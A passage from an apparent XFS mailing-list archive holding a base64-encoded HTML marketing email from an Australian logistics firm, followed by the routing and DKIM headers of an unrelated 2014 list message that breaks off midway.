bj0iY2VudGVyIiB2YWxpZ249InRvcCI+PGltZyB3aWR0aD0iMTQyIiBoZWlnaHQ9IjY3IiBhbHQ9 IiIgc3JjPSJodHRwOi8vd2Vic2l0ZXMubWFpbGJhbmsuY29tLmF1L0F1cm9yYUdsb2JhbExvZ2lz dGljcy9pbWFnZXMvdGglMjAoMSkuanBnIj48YSBvbmNsaWNrPSJyZXR1cm4gZmFsc2U7IiBocmVm PSJodHRwOi8vbWFpbGJhbmsuY29tLmF1L3JlZGlyLmFzcD9FPTgzNzM3NDQmVD0xNDA0OTQmVT01 NjAxZWQ1ZjU2YzFiODc0MmExYTgyZDQ1NzUzYzQ5MmVmNSIgdGFyZ2V0PSJfYmxhbmsiIGJvcmRl cj0iMCI+PGJyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICA8L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgPHRkIGFsaWduPSJjZW50ZXIiIHZhbGlnbj0idG9wIj48YnI+CiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIDwvdGJvZHk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IDwvdGFibGU+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICZuYnNwOzwvdGQ+ CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0 ZCBhbGlnbj0iY2VudGVyIiB2YWxpZ249InRvcCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIDx0YWJsZSB3aWR0aD0iNzMwIiBhbGlnbj0iY2VudGVyIiBzdHlsZT0idGV4dC1h bGlnbjogY2VudGVyOyBib3JkZXItdG9wLWNvbG9yOiByZ2IoMjI4LCAyMjgsIDIyOCk7IGJvcmRl ci10b3Atd2lkdGg6IDJweDsgYm9yZGVyLXRvcC1zdHlsZTogc29saWQ7IiBib3JkZXI9IjAiIGNl bGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICA8dGJvZHk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICA8dGQgd2lkdGg9IjE5MiIgdmFsaWduPSJ0b3AiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzQ1IiB2YWxp Z249InRvcCI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgPHRkIHdpZHRoPSIxOTMiIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiPiZu YnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90 cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTky IiB2YWxpZ249InRvcCI+PGEgb25jbGljaz0icmV0dXJuIGZhbHNlOyIgaHJlZj0iaHR0cDovL21h aWxiYW5rLmNvbS5hdS9yZWRpci5hc3A/RT04MzczNzQ0JlQ9MTQwNDk0JlU9NTYwNWJkNTAwNzEz OTMzNDk5Y2FiNjAxNmY3MzY4NGUwNmMiIHRhcmdldD0iX2JsYW5rIiBib3JkZXI9IjAiPjxpbWcg d2lkdGg9IjIwMSIgaGVpZ2h0PSI2MiIgc3R5bGU9ImJvcmRlcjogMHB4IHNvbGlkIGN1cnJlbnRD b2xvcjsgYm9yZGVyLWltYWdlOiBub25lOyIgYWx0PSIiIHNyYz0iaHR0cDovL3d3dy55YWNodC10 cmFuc3BvcnQuY29tLmF1L3Jlc291cmNlcy9lbWFpbC9sb2dvcy9hdXJvcmEvYXVyb3JhLWZvb3Rl ci5qcGciPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICA8dGQgd2lkdGg9IjM0NSIgdmFsaWduPSJ0b3AiPgogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBzdHlsZT0ibWFyZ2luOiAwcHQ7IGNvbG9y OiByZ2IoNTgsIDU4LCA1OCk7IGxpbmUtaGVpZ2h0OiAxMnB4OyBmb250LWZhbWlseTogQXJpYWws SGVsdmV0aWNhLHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogMTFweDsiPkF1cm9yYSBHbG9iYWwgTG9n aXN0aWNzIFB0eSBMdGQgPGJyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICA0OCBNY0Nvbm5lbCBTdHJlZXQsIEJ1bGltYmEgUUxEIEF1c3RyYWxpYSA0MTcx IDxicj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVGVs OiAgMDcgMzkwMCA1OTAwICA8YnI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIEZheDogMDcgMzM5OSA3MjA5PC9wPgogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5MyIgYWxpZ249InJpZ2h0IiB2YWxp Z249InRvcCI+PGEgb25jbGljaz0icmV0dXJuIGZhbHNlOyIgaHJlZj0iaHR0cDovL21haWxiYW5r LmNvbS5hdS9yZWRpci5hc3A/RT04MzczNzQ0JlQ9MTQwNDk0JlU9NTYwNWY1ZWMyNTYyZDM2NDRh MTk5M2JhNjI4ZTQ3YzIwZjUiIHRhcmdldD0iX2JsYW5rIiBib3JkZXI9IjAiPjxpbWcgd2lkdGg9 IjE2MCIgaGVpZ2h0PSIzMSIgc3R5bGU9ImJvcmRlcjogMHB4IHNvbGlkIGN1cnJlbnRDb2xvcjsg Ym9yZGVyLWltYWdlOiBub25lOyIgYWx0PSIiIHNyYz0iaHR0cDovL3d3dy55YWNodC10cmFuc3Bv cnQuY29tLmF1L3Jlc291cmNlcy9lbWFpbC9idXR0b25zL3F1b3RlLnBuZyI+PC9hPgogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBzdHlsZT0iY29sb3I6 IHJnYigwLCAwLCAwKTsgZm9udC1mYW1pbHk6IEFyaWFsLEhlbHZldGljYSxzYW5zLXNlcmlmOyBm b250LXNpemU6IDExcHg7Ij5BdXJvcmEgR2xvYmFsIExvZ2lzdGljcyBhcmUgdGhlIGV4Y2x1c2l2 ZSBjb21tZXJjaWFsIGFnZW50cyBmb3I6PC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICA8dGQgYWxpZ249ImxlZnQiIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0OyI+Jm5ic3A7PC90ZD4K ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGFsaWdu PSJsZWZ0IiBzdHlsZT0idGV4dC1hbGlnbjogbGVmdDsiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0icmlnaHQiIHZh bGlnbj0idG9wIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8 dGQgYWxpZ249ImxlZnQiIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0OyB2ZXJ0aWNhbC1hbGlnbjog Ym90dG9tOyI+PGltZyBzdHlsZT0iYm9yZGVyOiAwcHggc29saWQgY3VycmVudENvbG9yOyBib3Jk ZXItaW1hZ2U6IG5vbmU7IiBhbHQ9IiIgc3JjPSJodHRwOi8vd3d3LnlhY2h0LXRyYW5zcG9ydC5j b20uYXUvcmVzb3VyY2VzL2VtYWlsL2xvZ29zL3NvY2lhbC9mYWNlYm9vay5wbmciPiZuYnNwOyZu YnNwOzxhIHN0eWxlPSJjb2xvcjogcmdiKDEyMCwgMTIwLCAxMjApOyBmb250LWZhbWlseTogQXJp YWwsSGVsdmV0aWNhLHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogMTFweDsiIG9uY2xpY2s9InJldHVy biBmYWxzZTsiIGhyZWY9Imh0dHA6Ly9tYWlsYmFuay5jb20uYXUvcmVkaXIuYXNwP0U9ODM3Mzc0 NCZUPTE0MDQ5NCZVPTU2MDBiOTQzY2ZiZDBiYTQzMDlhYTY5YTEzNmQ3MDI0YjQ3IiB0YXJnZXQ9 Il9ibGFuayIgYm9yZGVyPSIwIj5GaW5kIHVzIG9uIEZhY2Vib29rPC9hPjwvdGQ+CiAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0ibGVmdCIg c3R5bGU9InRleHQtYWxpZ246IGxlZnQ7IHZlcnRpY2FsLWFsaWduOiBib3R0b207Ij48YSBzdHls ZT0iY29sb3I6IHJnYigxMjAsIDEyMCwgMTIwKTsgZm9udC1mYW1pbHk6IEFyaWFsLEhlbHZldGlj YSxzYW5zLXNlcmlmOyBmb250LXNpemU6IDExcHg7IiBvbmNsaWNrPSJyZXR1cm4gZmFsc2U7IiBo cmVmPSJodHRwOi8vd3d3LmF1cm9yYWxvZ2lzdGljcy5jb20iIHRhcmdldD0iX2JsYW5rIiBib3Jk ZXI9IjAiPnd3dy5hdXJvcmFsb2dpc3RpY3MuY29tPC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0icmlnaHQiIHZhbGlnbj0i dG9wIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRh YmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0i MCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8 dGJvZHk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxhIG9uY2xpY2s9InJldHVybiBm YWxzZTsiIGhyZWY9Imh0dHA6Ly9tYWlsYmFuay5jb20uYXUvcmVkaXIuYXNwP0U9ODM3Mzc0NCZU PTE0MDQ5NCZVPTU2MDRiZmY2MWJmYWU1YTRlNWY4ZDNkZDg5ZDcyODBmZGI3IiB0YXJnZXQ9Il9i bGFuayIgYm9yZGVyPSIwIj48YnI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGEgb25jbGljaz0icmV0 dXJuIGZhbHNlOyIgaHJlZj0iaHR0cDovL21haWxiYW5rLmNvbS5hdS9yZWRpci5hc3A/RT04Mzcz NzQ0JlQ9MTQwNDk0JlU9NTYwMzViYWE0M2FmZGUxNDdkMjg3YWUzZmJiYzFlODRhNDkiIHRhcmdl dD0iX2JsYW5rIiBib3JkZXI9IjAiPjxpbWcgd2lkdGg9IjY3IiBoZWlnaHQ9IjM1IiBzdHlsZT0i Ym9yZGVyOiAwcHggc29saWQgY3VycmVudENvbG9yOyBib3JkZXItaW1hZ2U6IG5vbmU7IiBhbHQ9 IiIgc3JjPSJodHRwOi8vd3d3LnlhY2h0LXRyYW5zcG9ydC5jb20uYXUvcmVzb3VyY2VzL2VtYWls L2xvZ29zL2NvbXBhbnkvcGV0ZXJfbGluay5qcGciPjwvYT48L3RkPgogICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3Rib2R5PgogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPgogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHN0eWxlPSJ0ZXh0LWFsaWdu OiBsZWZ0OyI+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgPHRkIGFsaWduPSJsZWZ0IiBzdHlsZT0idGV4dC1hbGlnbjogbGVmdDsiPjxhIHN0eWxl PSJjb2xvcjogcmdiKDEyMCwgMTIwLCAxMjApOyBmb250LWZhbWlseTogQXJpYWwsSGVsdmV0aWNh LHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogMTFweDsiIG9uY2xpY2s9InJldHVybiBmYWxzZTsiIGhy ZWY9Imh0dHA6Ly93d3cueWFjaHQtdHJhbnNwb3J0LmNvbS5hdSIgdGFyZ2V0PSJfYmxhbmsiIGJv cmRlcj0iMCI+d3d3LnlhY2h0LXRyYW5zcG9ydC5jb20uYXU8L2E+PC90ZD4KICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxicj4KICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgPC90Ym9keT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgPC90YWJsZT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4K ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRk IGFsaWduPSJjZW50ZXIiIHZhbGlnbj0idG9wIiBzdHlsZT0icGFkZGluZy10b3A6IDE1cHg7Ij4K ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSI3NTAiIHN0 eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxs cGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGJv ZHk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNl bnRlciIgdmFsaWduPSJ0b3AiPjxzcGFuIHN0eWxlPSJjb2xvcjogcmdiKDE5NCwgMTgzLCAxODMp OyBmb250LWZhbWlseTogQXJpYWwsSGVsdmV0aWNhLHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogMTBw eDsiPlBsZWFzZSBkbyBub3QgcmVwbHkgdG8gdGhpcyBFLVNob3Q8L3NwYW4+PC90ZD4KICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiIHZhbGlnbj0idG9w Ij48c3BhbiBzdHlsZT0iY29sb3I6IHJnYigxOTQsIDE4MywgMTgzKTsgZm9udC1mYW1pbHk6IEFy aWFsLEhlbHZldGljYSxzYW5zLXNlcmlmOyBmb250LXNpemU6IDEwcHg7Ij5TaW1wbHkgY2xpY2sg J3JlcXVlc3QgYSBxdW90ZScgZm9yIGFuIGltbWVkaWF0ZSBxdW90YXRpb248L3NwYW4+PC90ZD4K ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiIHZhbGln bj0idG9wIj48c3BhbiBzdHlsZT0iY29sb3I6IHJnYigxOTQsIDE4MywgMTgzKTsgZm9udC1mYW1p bHk6IEFyaWFsLEhlbHZldGljYSxzYW5zLXNlcmlmOyBmb250LXNpemU6IDEwcHg7Ij5QbGVhc2Ug ZW1haWwgPGEgc3R5bGU9ImNvbG9yOiByZ2IoMTk0LCAxODMsIDE4Myk7IGZvbnQtZmFtaWx5OiBB cmlhbCxIZWx2ZXRpY2Esc2Fucy1zZXJpZjsiIG9uY2xpY2s9InJldHVybiBmYWxzZTsiIGhyZWY9 Im1haWx0bzpqYXNvbkBhdXJvcmFsb2dpc3RpY3MuY29tIiB0YXJnZXQ9ImJsYW5rIiBib3JkZXI9 IjAiPmphc29uQGF1cm9yYWxvZ2lzdGljcy5jb208L2E+IG9yIDxhIHN0eWxlPSJjb2xvcjogcmdi KDE5NCwgMTgzLCAxODMpOyBmb250LWZhbWlseTogQXJpYWwsSGVsdmV0aWNhLHNhbnMtc2VyaWY7 IiBvbmNsaWNrPSJyZXR1cm4gZmFsc2U7IiBocmVmPSJtYWlsdG86Z2VtbWFAYXVyb3JhbG9naXN0 aWNzLmNvbSIgdGFyZ2V0PSJibGFuayIgYm9yZGVyPSIwIj5nZW1tYUBhdXJvcmFsb2dpc3RpY3Mu Y29tIDwvYT5mb3IgZnVydGhlciBpbmZvcm1hdGlvbjwvc3Bhbj48L3RkPgogICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI0MCIgYWxpZ249ImNlbnRlciIgdmFsaWdu PSJtaWRsZSIgc3R5bGU9ImNvbG9yOiByZ2IoNDEsIDQwLCA5MCk7IGZvbnQtc2l6ZTogMTFweDsi PjxzcGFuIHN0eWxlPSJjb2xvcjogcmdiKDE5NCwgMTgzLCAxODMpOyBmb250LWZhbWlseTogQXJp YWwsSGVsdmV0aWNhLHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogMTBweDsiPjxhIHN0eWxlPSJjb2xv cjogcmdiKDEyMCwgMTIwLCAxMjApOyBmb250LWZhbWlseTogQXJpYWwsSGVsdmV0aWNhLHNhbnMt c2VyaWY7IGZvbnQtc2l6ZTogMTFweDsiIG9uY2xpY2s9InJldHVybiBmYWxzZTsiIGhyZWY9Imh0 dHA6Ly93ZWJzaXRlcy5tYWlsYmFuay5jb20uYXUvQXVyb3JhR2xvYmFsTG9naXN0aWNzL21haWxC QU5LLmFzcHg/RVVJRD0xMjRGRjk1QTlCMzI0RkRDQkU0RjU5MEJFQzkzRUJBMSZVbnN1Yj0xIiB0 YXJnZXQ9Il9ibGFuayIgYm9yZGVyPSIwIj5DbGljayBoZXJlIHRvIHVuc3Vic2NyaWJlPC9hPjwv c3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwv dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3Rib2R5PgogICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPgogICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3Rib2R5PgogICAgICAgICAgICAg ICAgICAgICAgICA8L3RhYmxlPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJ0 ZXh0LWFsaWduOiBjZW50ZXI7Ij4mbmJzcDs8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAg PC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90Ym9keT4K ICAgICAgICAgICAgPC90YWJsZT4KICAgICAgICAgICAgPGRpdiBzdHlsZT0idGV4dC1hbGlnbjog Y2VudGVyOyI+Jm5ic3A7PC9kaXY+CiAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgPC90cj4KICAg IDwvdGJvZHk+CjwvdGFibGU+Cjxicj4KPG1hcCBuYW1lPSJyYWRlX2ltZ19tYXBfMTM1NTI3NzIy OTM0NSIgaWQ9InJhZGVfaW1nX21hcF8xMzU1Mjc3MjI5MzQ1Ij4KPGFyZWEgaHJlZj0iaHR0cDov LyIgc2hhcGU9IlJFQ1QiIGNvb3Jkcz0iODUsNjksODcsNzEiPjwvbWFwPgo8ZGl2IGNsYXNzPSJz a3lwZV9wbmhfbWVudV9jb250YWluZXIiIGlkPSJza3lwZV9wbmhfbWVudV9jb250YWluZXIiIHN0 eWxlPSJkaXNwbGF5OiBub25lOyIgb25tb3VzZW92ZXI9IlNreXBlQ2xpY2syQ2FsbC5NZW51SW5q ZWN0aW9uSGFuZGxlci5zaG93TWVudSh0aGlzLCBldmVudCkiIG9ubW91c2VvdXQ9IlNreXBlQ2xp Y2syQ2FsbC5NZW51SW5qZWN0aW9uSGFuZGxlci5oaWRlTWVudShldmVudCkiPgo8ZGl2IGNsYXNz PSJza3lwZV9wbmhfbWVudV9jbGljazJjYWxsIj48YSBjbGFzcz0ic2t5cGVfcG5oX21lbnVfY2xp Y2syY2FsbF9hY3Rpb24iIGlkPSJza3lwZV9wbmhfbWVudV9jbGljazJjYWxsX2FjdGlvbiI+Q2Fs bDwvYT48L2Rpdj4KPGRpdiBjbGFzcz0ic2t5cGVfcG5oX21lbnVfY2xpY2syc21zIj48YSBjbGFz cz0ic2t5cGVfcG5oX21lbnVfY2xpY2syc21zX2FjdGlvbiIgaWQ9InNreXBlX3BuaF9tZW51X2Ns aWNrMnNtc19hY3Rpb24iPlNlbmQgU01TPC9hPjwvZGl2Pgo8ZGl2IGNsYXNzPSJza3lwZV9wbmhf bWVudV9hZGQyc2t5cGUiPjxhIGNsYXNzPSJza3lwZV9wbmhfbWVudV9hZGQyc2t5cGVfdGV4dCIg aWQ9InNreXBlX3BuaF9tZW51X2FkZDJza3lwZV90ZXh0Ij5BZGQgdG8gU2t5cGU8L2E+PC9kaXY+ CjxkaXYgY2xhc3M9InNreXBlX3BuaF9tZW51X3RvbGxfaW5mbyI+PHNwYW4gY2xhc3M9InNreXBl X3BuaF9tZW51X3RvbGxfY2FsbGNyZWRpdCI+WW91J2xsIG5lZWQgU2t5cGUgQ3JlZGl0PC9zcGFu PjxzcGFuIGNsYXNzPSJza3lwZV9wbmhfbWVudV90b2xsX2ZyZWUiPkZyZWUgdmlhIFNreXBlPC9z cGFuPjwvZGl2Pgo8L2Rpdj48dGFibGUgYm9yZGVyPSIwIiBpZD0ibWJMaW5rcyIgYWxpZ249ImNl bnRlciIgY2VsbHBhZGRpbmc9IjAiPg0KPHRyPjx0ZCAgPg0KPGltZyBoZWlnaHQ9IjMiIHdpZHRo PSIzIiBzcmM9Imh0dHA6Ly9tYWlsYmFuay5jb20uYXUvX21ic3RhdC84MzczNzQ0LzE0MDQ5NC9p bWcuZ2lmIj48YSBocmVmPSJodHRwOi8vbWFpbGJhbmsuY29tLmF1LyIgdGFyZ2V0PV9ibGFuayBj bGFzcz0iY3JlYXRlZFdpdGgiPjxpbWcgaGVpZ2h0PSIyMCIgd2lkdGg9IjIwIiBzcmM9Imh0dHA6 Ly9tYWlsYmFuay5jb20uYXUvYXNzZXRzL21iTG9nbzIweDIwLmdpZiIgYWx0PSJtYWlsQkFOSyIg c3R5bGU9ImJvcmRlcjowOyIgLz48L2E+PC90ZD48dGQgdmFsaWduPSJtaWRkbGUiPjxhIGhyZWY9 Imh0dHA6Ly9tYWlsYmFuay5jb20uYXUvIiB0YXJnZXQ9X2JsYW5rIGNsYXNzPSJjcmVhdGVkV2l0 aCI+Jm5ic3A7Q3JlYXRlZCB3aXRoIG1haWxCQU5LPC9hPjwvdGQ+PHRkICBhbGlnbj1yaWdodD4m bmJzcDt8Jm5ic3A7PGEgaHJlZj0iaHR0cDovL21haWxiYW5rLmNvbS5hdS9TZW5kVG9BRnJpZW5k Lz9CPTE0MDQ5NCZCSz0wQUI2RUJCOEUyMEI0Ij5TZW5kIHRvIGEgZnJpZW5kPC9hPiZuYnNwO3wm bmJzcDs8YSBocmVmPSdodHRwOi8vd2Vic2l0ZXMubWFpbGJhbmsuY29tLmF1L0F1cm9yYUdsb2Jh bExvZ2lzdGljcy9tYWlsQkFOSy5hc3B4P0VVSUQ9MTI0RkY5NUE5QjMyNEZEQ0JFNEY1OTBCRUM5 M0VCQTEmVUlEPTgzNzM3NDQmZW1haWw9bGludXgteGZzQG9zcy5zZ2kuY29tJz5WaWV3IHlvdXIg ZGV0YWlsczwvYT4mbmJzcDt8Jm5ic3A7PGEgaHJlZj0iaHR0cDovL3dlYnNpdGVzLm1haWxiYW5r LmNvbS5hdS9BdXJvcmFHbG9iYWxMb2dpc3RpY3MvUHJpdmFjeS5hc3AiPlByaXZhY3kgcG9saWN5 PC9hPjwvdGQ+PC90cj4NCjwvdGFibGU+PC9ib2R5PjwvaHRtbD4= ----boundary_0_6bb341ef-9577-4b1f-8a89-ca4473150781-- From arekm@maven.pl Tue Jan 21 02:17:44 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D18617F3F for ; Tue, 21 Jan 2014 02:17:43 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3D6BDAC003 for ; Tue, 21 Jan 2014 00:17:43 -0800 (PST) X-ASG-Debug-ID: 1390292260-04cb6c750a24be0001-NocioJ Received: from mail-ea0-f178.google.com (mail-ea0-f178.google.com [209.85.215.178]) by cuda.sgi.com with ESMTP id yUkcgomQPkl2T9v8 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 21 Jan 2014 00:17:41 -0800 (PST) X-Barracuda-Envelope-From: arekm@maven.pl X-Barracuda-Apparent-Source-IP: 209.85.215.178 Received: by mail-ea0-f178.google.com with SMTP id a15so2402172eae.23 for ; Tue, 21 Jan 2014 00:17:40 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=maven.pl; s=maven; h=from:to:subject:date:user-agent:references:in-reply-to:mime-version :content-type:content-transfer-encoding:message-id; bh=b4TlT7gzI5m/rjcUI5ZTAWOXmAyYUVV5j2awNNRm94A=; b=gw7eHmaLem5jta1yr/VplCN/9wAtZbJocFDLvxqVuRKeuxSVPO0SrHU86QiKZMLQQ+ WhMfJMpTluyBaYE6/RLzLzxUTouTM+ZXIEH+tzrDIlWT9+ZIye1NE24DGjQs0mgwltuh seXzWndqJPAemAVaOLJbufMY5dI+q/TeqaJFQ= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; 